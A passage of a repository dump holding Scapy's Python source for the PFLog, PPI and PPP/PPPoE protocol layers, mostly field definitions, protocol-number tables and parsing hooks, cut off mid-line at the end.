ByteEnumField(\"reason\", 0, {0: \"match\", 1: \"bad-offset\",\n                                               2: \"fragment\", 3: \"short\",\n                                               4: \"normalize\", 5: \"memory\",\n                                               6: \"bad-timestamp\",\n                                               7: \"congestion\",\n                                               8: \"ip-options\",\n                                               9: \"proto-cksum\",\n                                               10: \"state-mismatch\",\n                                               11: \"state-insert\",\n                                               12: \"state-limit\",\n                                               13: \"src-limit\",\n                                               14: \"syn-proxy\"}),\n                   StrFixedLenField(\"iface\", \"\", 16),\n                   StrFixedLenField(\"ruleset\", \"\", 16),\n                   SignedIntField(\"rulenumber\", 0),\n                   SignedIntField(\"subrulenumber\", 0),\n                   SignedIntField(\"uid\", 0),\n                   IntField(\"pid\", 0),\n                   SignedIntField(\"ruleuid\", 0),\n                   IntField(\"rulepid\", 0),\n                   ByteEnumField(\"direction\", 255, {0: \"inout\", 1: \"in\",\n                                                    2: \"out\", 255: \"unknown\"}),\n                   YesNoByteField(\"rewritten\", 0),\n                   ByteEnumField(\"naddrfamily\", 2, {OPENBSD_AF_INET: \"IPv4\",\n                                                    OPENBSD_AF_INET6: \"IPv6\"}),\n                   StrFixedLenField(\"pad\", b\"\\x00\", 1),\n                   MultipleTypeField(\n                       [\n                           (PadField(IPField(\"saddr\", \"127.0.0.1\"),\n                                     16, padwith=b\"\\x00\"),\n                            lambda pkt: pkt.addrfamily == OPENBSD_AF_INET),\n                           (IP6Field(\"saddr\", \"::1\"),\n                            lambda pkt: pkt.addrfamily == OPENBSD_AF_INET6),\n                       ],\n                       PadField(IPField(\"saddr\", \"127.0.0.1\"),\n                                16, padwith=b\"\\x00\"),),\n                   MultipleTypeField(\n                       [\n                           (PadField(IPField(\"daddr\", \"127.0.0.1\"),\n                                     16, padwith=b\"\\x00\"),\n                            lambda pkt: pkt.addrfamily == OPENBSD_AF_INET),\n                           (IP6Field(\"daddr\", \"::1\"),\n                            lambda pkt: pkt.addrfamily == OPENBSD_AF_INET6),\n                       ],\n                       PadField(IPField(\"daddr\", \"127.0.0.1\"),\n                                16, padwith=b\"\\x00\"),),\n                   ShortField(\"sport\", 0),\n                   ShortField(\"dport\", 0), ]\n\n    def mysummary(self):\n        return self.sprintf(\"%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%\")  # noqa: E501\n\n\nbind_layers(PFLog, IP, addrfamily=OPENBSD_AF_INET)\nbind_layers(PFLog, IPv6, addrfamily=OPENBSD_AF_INET6)\n\nconf.l2types.register(DLT_PFLOG, PFLog)\n"
  },
  {
    "path": "scapy/layers/ppi.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Original PPI author: <jellch@harris.com>\n\n# scapy.contrib.description = CACE Per-Packet Information (PPI) header\n# scapy.contrib.status = loads\n\n\"\"\"\nCACE Per-Packet Information (PPI) header.\n\nA method for adding metadata to link-layer packets.\n\nFor example, one can tag an 802.11 packet with GPS coordinates of where it\nwas captured, and include it in the PCAP file.\n\nNew PPI types should:\n\n * Make their packet a subclass of ``PPI_Element``\n * Call ``bind_layers(PPI_Hdr, ExamplePPI, pfh_type=0xffff)``\n\nSee ``layers/contrib/ppi_cace.py`` for an example.\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.data import DLT_PPI, PPI_TYPES\nfrom scapy.error import warning\nfrom scapy.packet import Packet\nfrom scapy.fields import ByteField, FieldLenField, LEIntField, \\\n    PacketListField, LEShortEnumField, LenField\n\n\nclass PPI_Hdr(Packet):\n    name = 'PPI Header'\n    fields_desc = [\n        LEShortEnumField('pfh_type', 0, PPI_TYPES),\n        LenField('pfh_length', None, fmt='<H'),\n    ]\n\n    def mysummary(self):\n        return self.sprintf('PPI %pfh_type%')\n\n\nclass PPI_Element(Packet):\n    \"\"\"Superclass for all PPI types.\"\"\"\n    name = 'PPI Element'\n\n    def extract_padding(self, s):\n        return b'', s\n\n    @staticmethod\n    def length_from(pkt):\n        if not pkt.underlayer:\n            warning('Missing under-layer')\n            return 0\n\n        return pkt.underlayer.len\n\n\nclass PPI(Packet):\n    name = 'Per-Packet Information header (PPI)'\n    fields_desc = [\n        ByteField('version', 0),\n        ByteField('flags', 0),\n        FieldLenField('len', None, length_of='headers', fmt='<H',\n                      adjust=lambda p, x: x + 8),  # length of this packet\n        LEIntField('dlt', None),\n        PacketListField('headers', [], PPI_Hdr,\n                        length_from=lambda p: p.len - 8),\n    ]\n\n    def add_payload(self, payload):\n        Packet.add_payload(self, payload)\n\n        # Update the DLT if not set\n        if self.getfieldval('dlt') is None and isinstance(payload, Packet):\n            self.setfieldval('dlt', conf.l2types.get(payload.__class__))\n\n    def guess_payload_class(self, payload):\n        # Pass DLT handling to conf.l2types.\n        return conf.l2types.get(\n            self.getfieldval('dlt'), Packet.guess_payload_class(self, payload))\n\n\nconf.l2types.register(DLT_PPI, PPI)\n"
  },
  {
    "path": "scapy/layers/ppp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPPP (Point to Point Protocol)\n\n[RFC 1661]\n\"\"\"\n\nimport struct\nfrom scapy.config import conf\nfrom scapy.data import DLT_PPP, DLT_PPP_SERIAL, DLT_PPP_ETHER, \\\n    DLT_PPP_WITH_DIR\nfrom scapy.compat import orb\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.eap import EAP\nfrom scapy.layers.l2 import Ether, CookedLinux, GRE_PPTP\nfrom scapy.layers.inet import IP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.fields import (\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    EnumField,\n    FieldLenField,\n    IPField,\n    IntField,\n    OUIField,\n    PacketField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrLenField,\n    XByteField,\n    XShortField,\n    XStrLenField,\n)\n\n\nclass PPPoE(Packet):\n    name = \"PPP over Ethernet\"\n    fields_desc = [BitField(\"version\", 1, 4),\n                   BitField(\"type\", 1, 4),\n                   ByteEnumField(\"code\", 0, {0: \"Session\"}),\n                   XShortField(\"sessionid\", 0x0),\n                   ShortField(\"len\", None)]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.len is None:\n            tmp_len = len(p) - 6\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p\n\n\n# PPPoE Active Discovery Code fields (RFC2516, RFC5578)\nclass PPPoED(PPPoE):\n    name = \"PPP over Ethernet Discovery\"\n\n    code_list = {0x00: \"PPP Session Stage\",\n                 0x09: \"PPPoE Active Discovery Initiation (PADI)\",\n                 0x07: \"PPPoE Active Discovery Offer (PADO)\",\n                 0x0a: \"PPPoE Active Discovery Session-Grant (PADG)\",\n                 0x0b: \"PPPoE Active Discovery Session-Credit Response (PADC)\",\n                 0x0c: \"PPPoE Active Discovery Quality (PADQ)\",\n                 0x19: \"PPPoE Active Discovery Request (PADR)\",\n                 0x65: \"PPPoE Active Discovery Session-confirmation (PADS)\",\n                 0xa7: \"PPPoE Active Discovery Terminate (PADT)\"}\n\n    fields_desc = [BitField(\"version\", 1, 4),\n                   BitField(\"type\", 1, 4),\n                   ByteEnumField(\"code\", 0x09, code_list),\n                   XShortField(\"sessionid\", 0x0),\n                   ShortField(\"len\", None)]\n\n    def extract_padding(self, s):\n        return s[:self.len], s[self.len:]\n\n    def mysummary(self):\n        return self.sprintf(\"%code%\")\n\n\n# PPPoE Tag types (RFC2516, RFC4638, RFC5578)\nclass PPPoETag(Packet):\n    name = \"PPPoE Tag\"\n\n    tag_list = {0x0000: 'End-Of-List',\n                0x0101: 'Service-Name',\n                0x0102: 'AC-Name',\n                0x0103: 'Host-Uniq',\n                0x0104: 'AC-Cookie',\n                0x0105: 'Vendor-Specific',\n                0x0106: 'Credits',\n                0x0107: 'Metrics',\n                0x0108: 'Sequence Number',\n                0x0109: 'Credit Scale Factor',\n                0x0110: 'Relay-Session-Id',\n                0x0120: 'PPP-Max-Payload',\n                0x0201: 'Service-Name-Error',\n                0x0202: 'AC-System-Error',\n                0x0203: 'Generic-Error'}\n\n    fields_desc = [\n        ShortEnumField('tag_type', None, tag_list),\n        FieldLenField('tag_len', None, length_of='tag_value', fmt='H'),\n        StrLenField('tag_value', '', length_from=lambda pkt:pkt.tag_len)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass PPPoED_Tags(Packet):\n    name = \"PPPoE Tag List\"\n    fields_desc = [PacketListField('tag_list', None, PPPoETag)]\n\n    def mysummary(self):\n        return \"PPPoE Tags\" + \", \".join(\n            x.sprintf(\"%tag_type%\") for x in self.tag_list\n        ), [PPPoED]\n\n\n_PPP_PROTOCOLS = {\n    0x0001: \"Padding Protocol\",\n    0x0003: \"ROHC small-CID [RFC3095]\",\n    0x0005: \"ROHC large-CID [RFC3095]\",\n    0x0021: \"Internet Protocol version 4\",\n    0x0023: \"OSI Network Layer\",\n    0x0025: \"Xerox NS IDP\",\n    0x0027: \"DECnet Phase IV\",\n    0x0029: \"Appletalk\",\n    0x002b: \"Novell IPX\",\n    0x002d: \"Van Jacobson Compressed TCP/IP\",\n    0x002f: \"Van Jacobson Uncompressed TCP/IP\",\n    0x0031: \"Bridging PDU\",\n    0x0033: \"Stream Protocol (ST-II)\",\n    0x0035: \"Banyan Vines\",\n    0x0037: \"reserved (until 1993) [Typo in RFC1172]\",\n    0x0039: \"AppleTalk EDDP\",\n    0x003b: \"AppleTalk SmartBuffered\",\n    0x003d: \"Multi-Link [RFC1717]\",\n    0x003f: \"NETBIOS Framing\",\n    0x0041: \"Cisco Systems\",\n    0x0043: \"Ascom Timeplex\",\n    0x0045: \"Fujitsu Link Backup and Load Balancing (LBLB)\",\n    0x0047: \"DCA Remote Lan\",\n    0x0049: \"Serial Data Transport Protocol (PPP-SDTP)\",\n    0x004b: \"SNA over 802.2\",\n    0x004d: \"SNA\",\n    0x004f: \"IPv6 Header Compression\",\n    0x0051: \"KNX Bridging Data [ianp]\",\n    0x0053: \"Encryption [Meyer]\",\n    0x0055: \"Individual Link Encryption [Meyer]\",\n    0x0057: \"Internet Protocol version 6 [Hinden]\",\n    0x0059: \"PPP Muxing [RFC3153]\",\n    0x005b: \"Vendor-Specific Network Protocol (VSNP) [RFC3772]\",\n    0x0061: \"RTP IPHC Full Header [RFC3544]\",\n    0x0063: \"RTP IPHC Compressed TCP [RFC3544]\",\n    0x0065: \"RTP IPHC Compressed Non TCP [RFC3544]\",\n    0x0067: \"RTP IPHC Compressed UDP 8 [RFC3544]\",\n    0x0069: \"RTP IPHC Compressed RTP 8 [RFC3544]\",\n    0x006f: \"Stampede Bridging\",\n    0x0071: \"Reserved [Fox]\",\n    0x0073: \"MP+ Protocol [Smith]\",\n    0x007d: \"reserved (Control Escape) [RFC1661]\",\n    0x007f: \"reserved (compression inefficient [RFC1662]\",\n    0x0081: \"Reserved Until 20-Oct-2000 [IANA]\",\n    0x0083: \"Reserved Until 20-Oct-2000 [IANA]\",\n    0x00c1: \"NTCITS IPI [Ungar]\",\n    0x00cf: \"reserved (PPP NLID)\",\n    0x00fb: \"single link compression in multilink [RFC1962]\",\n    0x00fd: \"compressed datagram [RFC1962]\",\n    0x00ff: \"reserved (compression inefficient)\",\n    0x0201: \"802.1d Hello Packets\",\n    0x0203: \"IBM Source Routing BPDU\",\n    0x0205: \"DEC LANBridge100 Spanning Tree\",\n    0x0207: \"Cisco Discovery Protocol [Sastry]\",\n    0x0209: \"Netcs Twin Routing [Korfmacher]\",\n    0x020b: \"STP - Scheduled Transfer Protocol [Segal]\",\n    0x020d: \"EDP - Extreme Discovery Protocol [Grosser]\",\n    0x0211: \"Optical Supervisory Channel Protocol (OSCP)[Prasad]\",\n    0x0213: \"Optical Supervisory Channel Protocol (OSCP)[Prasad]\",\n    0x0231: \"Luxcom\",\n    0x0233: \"Sigma Network Systems\",\n    0x0235: \"Apple Client Server Protocol [Ridenour]\",\n    0x0281: \"MPLS Unicast [RFC3032]  \",\n    0x0283: \"MPLS Multicast [RFC3032]\",\n    0x0285: \"IEEE p1284.4 standard - data packets [Batchelder]\",\n    0x0287: \"ETSI TETRA Network Protocol Type 1 [Nieminen]\",\n    0x0289: \"Multichannel Flow Treatment Protocol [McCann]\",\n    0x2063: \"RTP IPHC Compressed TCP No Delta [RFC3544]\",\n    0x2065: \"RTP IPHC Context State [RFC3544]\",\n    0x2067: \"RTP IPHC Compressed UDP 16 [RFC3544]\",\n    0x2069: \"RTP IPHC Compressed RTP 16 [RFC3544]\",\n    0x4001: \"Cray Communications Control Protocol [Stage]\",\n    0x4003: \"CDPD Mobile Network Registration Protocol [Quick]\",\n    0x4005: \"Expand accelerator protocol [Rachmani]\",\n    0x4007: \"ODSICP NCP [Arvind]\",\n    0x4009: \"DOCSIS DLL [Gaedtke]\",\n    0x400B: \"Cetacean Network Detection Protocol [Siller]\",\n    0x4021: \"Stacker LZS [Simpson]\",\n    0x4023: \"RefTek Protocol [Banfill]\",\n    0x4025: \"Fibre Channel [Rajagopal]\",\n    0x4027: \"EMIT Protocols [Eastham]\",\n    0x405b: \"Vendor-Specific Protocol (VSP) [RFC3772]\",\n    0x8021: \"Internet Protocol Control Protocol\",\n    0x8023: \"OSI Network Layer Control Protocol\",\n    0x8025: \"Xerox NS IDP Control Protocol\",\n    0x8027: \"DECnet Phase IV Control Protocol\",\n    0x8029: \"Appletalk Control Protocol\",\n    0x802b: \"Novell IPX Control Protocol\",\n    0x802d: \"reserved\",\n    0x802f: \"reserved\",\n    0x8031: \"Bridging NCP\",\n    0x8033: \"Stream Protocol Control Protocol\",\n    0x8035: \"Banyan Vines Control Protocol\",\n    0x8037: \"reserved (until 1993)\",\n    0x8039: \"reserved\",\n    0x803b: \"reserved\",\n    0x803d: \"Multi-Link Control Protocol\",\n    0x803f: \"NETBIOS Framing Control Protocol\",\n    0x8041: \"Cisco Systems Control Protocol\",\n    0x8043: \"Ascom Timeplex\",\n    0x8045: \"Fujitsu LBLB Control Protocol\",\n    0x8047: \"DCA Remote Lan Network Control Protocol (RLNCP)\",\n    0x8049: \"Serial Data Control Protocol (PPP-SDCP)\",\n    0x804b: \"SNA over 802.2 Control Protocol\",\n    0x804d: \"SNA Control Protocol\",\n    0x804f: \"IP6 Header Compression Control Protocol\",\n    0x8051: \"KNX Bridging Control Protocol [ianp]\",\n    0x8053: \"Encryption Control Protocol [Meyer]\",\n    0x8055: \"Individual Link Encryption Control Protocol [Meyer]\",\n    0x8057: \"IPv6 Control Protovol [Hinden]\",\n    0x8059: \"PPP Muxing Control Protocol [RFC3153]\",\n    0x805b: \"Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]\",\n    0x806f: \"Stampede Bridging Control Protocol\",\n    0x8073: \"MP+ Control Protocol [Smith]\",\n    0x8071: \"Reserved [Fox]\",\n    0x807d: \"Not Used - reserved [RFC1661]\",\n    0x8081: \"Reserved Until 20-Oct-2000 [IANA]\",\n    0x8083: \"Reserved Until 20-Oct-2000 [IANA]\",\n    0x80c1: \"NTCITS IPI Control Protocol [Ungar]\",\n    0x80cf: \"Not Used - reserved [RFC1661]\",\n    0x80fb: \"single link compression in multilink control [RFC1962]\",\n    0x80fd: \"Compression Control Protocol [RFC1962]\",\n    0x80ff: \"Not Used - reserved [RFC1661]\",\n    0x8207: \"Cisco Discovery Protocol Control [Sastry]\",\n    0x8209: \"Netcs Twin Routing [Korfmacher]\",\n    0x820b: \"STP - Control Protocol [Segal]\",\n    0x820d: \"EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]\",\n    0x8235: \"Apple Client Server Protocol Control [Ridenour]\",\n    0x8281: \"MPLSCP [RFC3032]\",\n    0x8285: \"IEEE p1284.4 standard - Protocol Control [Batchelder]\",\n    0x8287: \"ETSI TETRA TNP1 Control Protocol [Nieminen]\",\n    0x8289: \"Multichannel Flow Treatment Protocol [McCann]\",\n    0xc021: \"Link Control Protocol\",\n    0xc023: \"Password Authentication Protocol\",\n    0xc025: \"Link Quality Report\",\n    0xc027: \"Shiva Password Authentication Protocol\",\n    0xc029: \"CallBack Control Protocol (CBCP)\",\n    0xc02b: \"BACP Bandwidth Allocation Control Protocol [RFC2125]\",\n    0xc02d: \"BAP [RFC2125]\",\n    0xc05b: \"Vendor-Specific Authentication Protocol (VSAP) [RFC3772]\",\n    0xc081: \"Container Control Protocol [KEN]\",\n    0xc223: \"Challenge Handshake Authentication Protocol\",\n    0xc225: \"RSA Authentication Protocol [Narayana]\",\n    0xc227: \"Extensible Authentication Protocol [RFC2284]\",\n    0xc229: \"Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]\",\n    0xc26f: \"Stampede Bridging Authorization Protocol\",\n    0xc281: \"Proprietary Authentication Protocol [KEN]\",\n    0xc283: \"Proprietary Authentication Protocol [Tackabury]\",\n    0xc481: \"Proprietary Node ID Authentication Protocol [KEN]\",\n}\n\n\nclass HDLC(Packet):\n    fields_desc = [XByteField(\"address\", 0xff),\n                   XByteField(\"control\", 0x03)]\n\n\n# LINKTYPE_PPP_WITH_DIR\nclass DIR_PPP(Packet):\n    fields_desc = [ByteEnumField(\"direction\", 0, [\"received\", \"sent\"])]\n\n\nclass _PPPProtoField(EnumField):\n    \"\"\"\n    A field that can be either Byte or Short, depending on the PPP RFC.\n\n    See RFC 1661 section 2\n    <https://tools.ietf.org/html/rfc1661#section-2>\n\n    The generated proto field is two bytes when not specified, or when specified\n    as an integer or a string:\n      PPP()\n      PPP(proto=0x21)\n      PPP(proto=\"Internet Protocol version 4\")\n    To explicitly forge a one byte proto field, use the bytes representation:\n      PPP(proto=b'\\x21')\n    \"\"\"\n    def getfield(self, pkt, s):\n        if ord(s[:1]) & 0x01:\n            self.fmt = \"!B\"\n            self.sz = 1\n        else:\n            self.fmt = \"!H\"\n            self.sz = 2\n        self.struct = struct.Struct(self.fmt)\n        return super(_PPPProtoField, self).getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        if isinstance(val, bytes):\n            if len(val) == 1:\n                fmt, sz = \"!B\", 1\n            elif len(val) == 2:\n                fmt, sz = \"!H\", 2\n            else:\n                raise TypeError('Invalid length for PPP proto')\n            val = struct.Struct(fmt).unpack(val)[0]\n        else:\n            fmt, sz = \"!H\", 2\n        self.fmt = fmt\n        self.sz = sz\n        self.struct = struct.Struct(self.fmt)\n        return super(_PPPProtoField, self).addfield(pkt, s, val)\n\n\nclass PPP(Packet):\n    name = \"PPP Link Layer\"\n    fields_desc = [_PPPProtoField(\"proto\", 0x0021, _PPP_PROTOCOLS)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and _pkt[:1] == b'\\xff':\n            return HDLC\n        return cls\n\n\n_PPP_conftypes = {1: \"Configure-Request\",\n                  2: \"Configure-Ack\",\n                  3: \"Configure-Nak\",\n                  4: \"Configure-Reject\",\n                  5: \"Terminate-Request\",\n                  6: \"Terminate-Ack\",\n                  7: \"Code-Reject\",\n                  8: \"Protocol-Reject\",\n                  9: \"Echo-Request\",\n                  10: \"Echo-Reply\",\n                  11: \"Discard-Request\",\n                  14: \"Reset-Request\",\n                  15: \"Reset-Ack\",\n                  }\n\n\n# PPP IPCP stuff (RFC 1332)\n\n# All IPCP options are defined below (names and associated classes)\n_PPP_ipcpopttypes = {1: \"IP-Addresses (Deprecated)\",\n                     2: \"IP-Compression-Protocol\",\n                     3: \"IP-Address\",\n                     # not implemented, present for completeness\n                     4: \"Mobile-IPv4\",\n                     129: \"Primary-DNS-Address\",\n                     130: \"Primary-NBNS-Address\",\n                     131: \"Secondary-DNS-Address\",\n                     132: \"Secondary-NBNS-Address\"}\n\n\nclass PPP_IPCP_Option(Packet):\n    name = \"PPP IPCP Option\"\n    fields_desc = [\n        ByteEnumField(\"type\", None, _PPP_ipcpopttypes),\n        FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\",\n                      adjust=lambda _, val: val + 2),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: max(0, pkt.len - 2)),\n    ]\n\n    def extract_padding(self, pay):\n        return b\"\", pay\n\n    registered_options = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_options[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            o = orb(_pkt[0])\n            return cls.registered_options.get(o, cls)\n        return cls\n\n\nclass PPP_IPCP_Option_IPAddress(PPP_IPCP_Option):\n    name = \"PPP IPCP Option: IP Address\"\n    fields_desc = [\n        ByteEnumField(\"type\", 3, _PPP_ipcpopttypes),\n        FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\",\n                      adjust=lambda _, val: val + 2),\n        IPField(\"data\", \"0.0.0.0\"),\n        StrLenField(\"garbage\", \"\", length_from=lambda pkt: pkt.len - 6),\n    ]\n\n\nclass PPP_IPCP_Option_DNS1(PPP_IPCP_Option_IPAddress):\n    name = \"PPP IPCP Option: DNS1 Address\"\n    type = 129\n\n\nclass PPP_IPCP_Option_DNS2(PPP_IPCP_Option_IPAddress):\n    name = \"PPP IPCP Option: DNS2 Address\"\n    type = 131\n\n\nclass PPP_IPCP_Option_NBNS1(PPP_IPCP_Option_IPAddress):\n    name = \"PPP IPCP Option: NBNS1 Address\"\n    type = 130\n\n\nclass PPP_IPCP_Option_NBNS2(PPP_IPCP_Option_IPAddress):\n    name = \"PPP IPCP Option: NBNS2 Address\"\n    type = 132\n\n\nclass PPP_IPCP(Packet):\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_conftypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"options\",\n                      adjust=lambda _, val: val + 4),\n        PacketListField(\"options\", [], PPP_IPCP_Option,\n                        length_from=lambda pkt: pkt.len - 4)\n    ]\n\n\n# ECP\n\n_PPP_ecpopttypes = {0: \"OUI\",\n                    1: \"DESE\", }\n\n\nclass PPP_ECP_Option(Packet):\n    name = \"PPP ECP Option\"\n    fields_desc = [\n        ByteEnumField(\"type\", None, _PPP_ecpopttypes),\n        FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\",\n                      adjust=lambda _, val: val + 2),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: max(0, pkt.len - 2)),\n    ]\n\n    def extract_padding(self, pay):\n        return b\"\", pay\n\n    registered_options = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_options[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            o = orb(_pkt[0])\n            return cls.registered_options.get(o, cls)\n        return cls\n\n\nclass PPP_ECP_Option_OUI(PPP_ECP_Option):\n    fields_desc = [\n        ByteEnumField(\"type\", 0, _PPP_ecpopttypes),\n        FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\",\n                      adjust=lambda _, val: val + 6),\n        OUIField(\"oui\", 0),\n        ByteField(\"subtype\", 0),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len - 6),\n    ]\n\n\nclass PPP_ECP(Packet):\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_conftypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"options\",\n                      adjust=lambda _, val: val + 4),\n        PacketListField(\"options\", [], PPP_ECP_Option,\n                        length_from=lambda pkt: pkt.len - 4),\n    ]\n\n# Link Control Protocol (RFC 1661)\n\n\n_PPP_lcptypes = {1: \"Configure-Request\",\n                 2: \"Configure-Ack\",\n                 3: \"Configure-Nak\",\n                 4: \"Configure-Reject\",\n                 5: \"Terminate-Request\",\n                 6: \"Terminate-Ack\",\n                 7: \"Code-Reject\",\n                 8: \"Protocol-Reject\",\n                 9: \"Echo-Request\",\n                 10: \"Echo-Reply\",\n                 11: \"Discard-Request\"}\n\n\nclass PPP_LCP(Packet):\n    name = \"PPP Link Control Protocol\"\n    fields_desc = [\n        ByteEnumField(\"code\", 5, _PPP_lcptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"data\",\n                      adjust=lambda _, val: val + 4),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len - 4),\n    ]\n\n    def mysummary(self):\n        return self.sprintf('LCP %code%')\n\n    def extract_padding(self, pay):\n        return b\"\", pay\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            o = orb(_pkt[0])\n            if o in [1, 2, 3, 4]:\n                return PPP_LCP_Configure\n            elif o in [5, 6]:\n                return PPP_LCP_Terminate\n            elif o == 7:\n                return PPP_LCP_Code_Reject\n            elif o == 8:\n                return PPP_LCP_Protocol_Reject\n            elif o in [9, 10]:\n                return PPP_LCP_Echo\n            elif o == 11:\n                return PPP_LCP_Discard_Request\n            else:\n                return cls\n        return cls\n\n\n_PPP_lcp_optiontypes = {1: \"Maximum-Receive-Unit\",\n                        2: \"Async-Control-Character-Map\",\n                        3: \"Authentication-protocol\",\n                        4: \"Quality-protocol\",\n                        5: \"Magic-number\",\n                        7: \"Protocol-Field-Compression\",\n                        8: \"Address-and-Control-Field-Compression\",\n                        13: \"Callback\"}\n\n\nclass PPP_LCP_Option(Packet):\n    name = \"PPP LCP Option\"\n    fields_desc = [\n        ByteEnumField(\"type\", None, _PPP_lcp_optiontypes),\n        FieldLenField(\"len\", None, fmt=\"B\", length_of=\"data\",\n                      adjust=lambda _, val: val + 2),\n        StrLenField(\"data\", None, length_from=lambda pkt: pkt.len - 2),\n    ]\n\n    def extract_padding(self, pay):\n        return b\"\", pay\n\n    registered_options = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_options[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            o = orb(_pkt[0])\n            return cls.registered_options.get(o, cls)\n        return cls\n\n\nclass PPP_LCP_MRU_Option(PPP_LCP_Option):\n    fields_desc = [ByteEnumField(\"type\", 1, _PPP_lcp_optiontypes),\n                   ByteField(\"len\", 4),\n                   ShortField(\"max_recv_unit\", 1500)]\n\n\n_PPP_LCP_auth_protocols = {\n    0xc023: \"Password authentication protocol\",\n    0xc223: \"Challenge-response authentication protocol\",\n    0xc227: \"PPP Extensible authentication protocol\",\n}\n\n_PPP_LCP_CHAP_algorithms = {\n    5: \"MD5\",\n    6: \"SHA1\",\n    128: \"MS-CHAP\",\n    129: \"MS-CHAP-v2\",\n}\n\n\nclass PPP_LCP_ACCM_Option(PPP_LCP_Option):\n    fields_desc = [\n        ByteEnumField(\"type\", 2, _PPP_lcp_optiontypes),\n        ByteField(\"len\", 6),\n        BitField(\"accm\", 0x00000000, 32),\n    ]\n\n\ndef adjust_auth_len(pkt, x):\n    if pkt.auth_protocol == 0xc223:\n        return 5\n    elif pkt.auth_protocol == 0xc023:\n        return 4\n    else:\n        return x + 4\n\n\nclass PPP_LCP_Auth_Protocol_Option(PPP_LCP_Option):\n    fields_desc = [\n        ByteEnumField(\"type\", 3, _PPP_lcp_optiontypes),\n        FieldLenField(\"len\", None, fmt=\"B\", length_of=\"data\",\n                      adjust=adjust_auth_len),\n        ShortEnumField(\"auth_protocol\", 0xc023, _PPP_LCP_auth_protocols),\n        ConditionalField(\n            StrLenField(\"data\", '', length_from=lambda pkt: pkt.len - 4),\n            lambda pkt: pkt.auth_protocol != 0xc223\n        ),\n        ConditionalField(\n            ByteEnumField(\"algorithm\", 5, _PPP_LCP_CHAP_algorithms),\n            lambda pkt: pkt.auth_protocol == 0xc223\n        ),\n    ]\n\n\n_PPP_LCP_quality_protocols = {0xc025: \"Link Quality Report\"}\n\n\nclass PPP_LCP_Quality_Protocol_Option(PPP_LCP_Option):\n    fields_desc = [\n        ByteEnumField(\"type\", 4, _PPP_lcp_optiontypes),\n        FieldLenField(\"len\", None, fmt=\"B\", length_of=\"data\",\n                      adjust=lambda _, val: val + 4),\n        ShortEnumField(\"quality_protocol\", 0xc025, _PPP_LCP_quality_protocols),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\nclass PPP_LCP_Magic_Number_Option(PPP_LCP_Option):\n    fields_desc = [\n        ByteEnumField(\"type\", 5, _PPP_lcp_optiontypes),\n        ByteField(\"len\", 6),\n        IntField(\"magic_number\", None),\n    ]\n\n\n_PPP_lcp_callback_operations = {\n    0: \"Location determined by user authentication\",\n    1: \"Dialing string\",\n    2: \"Location identifier\",\n    3: \"E.164 number\",\n    4: \"Distinguished name\",\n}\n\n\nclass PPP_LCP_Callback_Option(PPP_LCP_Option):\n    fields_desc = [\n        ByteEnumField(\"type\", 13, _PPP_lcp_optiontypes),\n        FieldLenField(\"len\", None, fmt=\"B\", length_of=\"message\",\n                      adjust=lambda _, val: val + 3),\n        ByteEnumField(\"operation\", 0, _PPP_lcp_callback_operations),\n        StrLenField(\"message\", \"\", length_from=lambda pkt: pkt.len - 3)\n    ]\n\n\nclass PPP_LCP_Configure(PPP_LCP):\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_lcptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"options\",\n                      adjust=lambda _, val: val + 4),\n        PacketListField(\"options\", [], PPP_LCP_Option,\n                        length_from=lambda pkt: pkt.len - 4),\n    ]\n\n    def answers(self, other):\n        return (\n            isinstance(other, PPP_LCP_Configure) and self.code in [2, 3, 4] and\n            other.code == 1 and other.id == self.id\n        )\n\n\nclass PPP_LCP_Terminate(PPP_LCP):\n\n    def answers(self, other):\n        return (\n            isinstance(other, PPP_LCP_Terminate) and self.code == 6 and\n            other.code 